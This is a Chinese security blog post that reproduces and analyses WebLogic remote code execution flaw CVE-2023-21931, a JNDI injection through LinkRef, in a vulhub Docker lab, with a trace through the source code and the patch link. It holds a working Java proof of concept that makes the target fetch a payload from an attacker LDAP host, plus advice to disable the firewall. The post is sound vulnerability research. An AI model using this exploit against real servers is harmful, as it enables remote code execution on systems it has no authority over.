Weblogic远程代码执行漏洞(CVE-2023-21931)原理分析
2023-04-28 16:45:00

0x00、前言

weblogic远程代码执行漏洞(CVE-2023-21931)复现与分析,同CVE-2023-21839一样由jndi注入导致的漏洞,同时间出的官方修复补丁,漏洞也在同一个类下的不同判断分支中,复现分析一下,CVE-2023-21839后面再补。

0x01、漏洞描述

CVE-2023-21931
Oracle WebLogic Server 是一款Java EE应用服务器。
受影响版本的WebLogic中WLNamingManager#getObjectInstance()存在JNDI查找逻辑,导致攻击者可以通过t3协议传入特定的对象触发反序列化逻辑,执行任意代码。
当传入boundObject 对象是 LinkRef 的实现类时,会调用传入对象 boundObject 的 getLinkName() 方法,并使用 lookup() 方法对getLinkName() 方法返回的 linkAddrType 地址执行远程 JNDI 加载。

0x02、漏洞范围

CVE-2023-21931
Oracle WebLogic Server(Core)@[12.2.1.0.0, 12.2.1.4.0]
Oracle WebLogic Server(Core)@[14.1.1.0.0, 14.1.1.0.0]
Oracle WebLogic Server(Core)@[12.1.2.0.0, 12.1.3.0.0]
Oracle WebLogic Server(Core)@[10.3.6.0, 10.3.6.0]

0x03、环境搭建

环境获取

这里直接拉取的vulhub上4ra1n师傅的环境:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

下载进CVE-2023-21839目录下执行

docker-compose up -d

docker启动

成功访问到即可

将源码从docker中拖出来放进idea就可以审计了
相关命令:

【】表示填选项
进入镜像环境
docker exec -it 【进程序号】 /bin/bash
复制镜像文件到主机上
docker cp 【进程序号】:/【目录】 /【主机目录】

调试环境

调试环境(踩坑点也在里面了):

1、对docker-compose.yml文件进行编辑添加调试端口

2、运行启动容器docker-compose up -d

3、命令docker exec -it --user root 86 /bin/bash进入容器,–user对应使用root身份进入容器(容器没有vim环境,需要root权限运行yum -y install vim安装vim编辑器)

4、安装vim编辑器(如果下载的docker环境有的话忽略)

5、编辑weblogic环境目录下/user_projects/domains/base_domain/bin/setDomainEnv.sh文件

6、在JAVA_DEBUG=”” export JAVA_DEBUG和if [ “${debugFlag}” = “true” ] ; then之间添加调试代码,端口需要与docker-compose.yml中添加的对应

debugFlag="true"
DEBUG_PORT=5556
export debugFlag

7、再将Lib包和weblogic环境依赖打压缩包复制出来导入idea项目库中即可,命令docker cp 【进程序号】:/【目录】 /【主机目录】

8、然后重启容器即可docker restart 86,86对应我的容器id

9、最后在idea添加运行配置-添加远程jvm调试填选对应的地址端口即可

10、运行调试,显示连接目标即配置正确

11、发包断点即可进行调试

0x04、漏洞复现

poc:

public static void main(String[] agrs) throws Exception {
String url = "t3://192.168.43.20:7001";
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
Hashtable ht = new Hashtable();
ht.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
ht.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(ht);
LinkRef LR = new LinkRef("ldap://192.168.43.233:9999/#EvilPayload3");
c.rebind("poc", LR);
c.lookup("poc");
}

执行命令创建文件成功

测试过程中如果遇到目标服务器无法访问或者payload发送不成功,关闭weblogic服务器防火墙
linux命令

//安装ufw
apt-get install ufw
//关闭防火墙
sudo ufw disable
//开启防火墙
sudo ufw enable

0x05、原理分析

INITIAL_CONTEXT_FACTORY上下文的工厂为weblogic.jndi.WLInitialContextFactory类时,

JNDIInitialContext上下文会对环境变量中读取weblogic.jndi.WLInitialContextFactory工厂的上下文实现方法去实例化对象

跟下InitialContext上下文获取比较好理解


获取到环境配置,调用getDefaultInitCtx方法,调用NamingManager.getInitialContext获取上下文器

从中读取到上下文工厂

返回调用WLInitialContextFactory.getInitialContext方法

获取到上下文实现类WLContextImpl

获取到实现类过后,调用WLContextImpl.lookup方法

node(即stub向通信服务器)调用lookup方法

最后返回管理器处理对象的实例化结果NamingManager.getObjectInstance


再来看服务端对传输过来的t3协议数据的处理

通过weblogic.rmi.internal.BasicServerRef#handleRequest对数据进行接受处理,会调用动态代理invoke方法

相关调用栈:

invoke方法再次调用到BasicServerRef#invoke

中间调用过程可参考这篇文章中的lookup执行在weblogic服务器端的接受流程

最后调用到触发位置WLNamingManager#getObjectInstance方法

通过当传入对象boundObject属于LinkRef类时,先会调用LinkRef#getLinkName方法获取连接名

获取连接名的逻辑:

创建LinkRef对象时向构造参数传递入连接地址的字符串

构造方法中会调用StringRefAddr方法,该方法将地址字符串传递给常量contents

然后通过super方法调用父类构造方法将地址字符串传递添加addrs,同时将LinkRef类名传递赋值给className

构造方法看完回到主体调用getLinkName方法,className在上文已经赋值存在,且className等于linkClassName的值

if条件都满足,最后调用getContent返回Content(即创建LinkRef类时传递的构造参数的地址字符串)


最后执行lookup实现jndi注入

直接调用实现的效果,因为只需要LinkRef对象传入即可,其他参数设置空即可触发漏洞演示

public static void main(String[] agrs) throws Exception {
LinkRef LR = new LinkRef("ldap://192.168.43.233:9999/#EvilPayload");
WLNamingManager WL = new WLNamingManager();
WL.getObjectInstance(LR, null, null, null);
}

0x06、漏洞修复

官方4月公布的补丁:
https://www.oracle.com/security-alerts/cpuapr2023.html

0x07、参考链接

https://nosec.org/home/detail/5082.html
https://www.anquanke.com/post/id/201005#h3-11
https://github.com/4ra1n/CVE-2023-21839
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839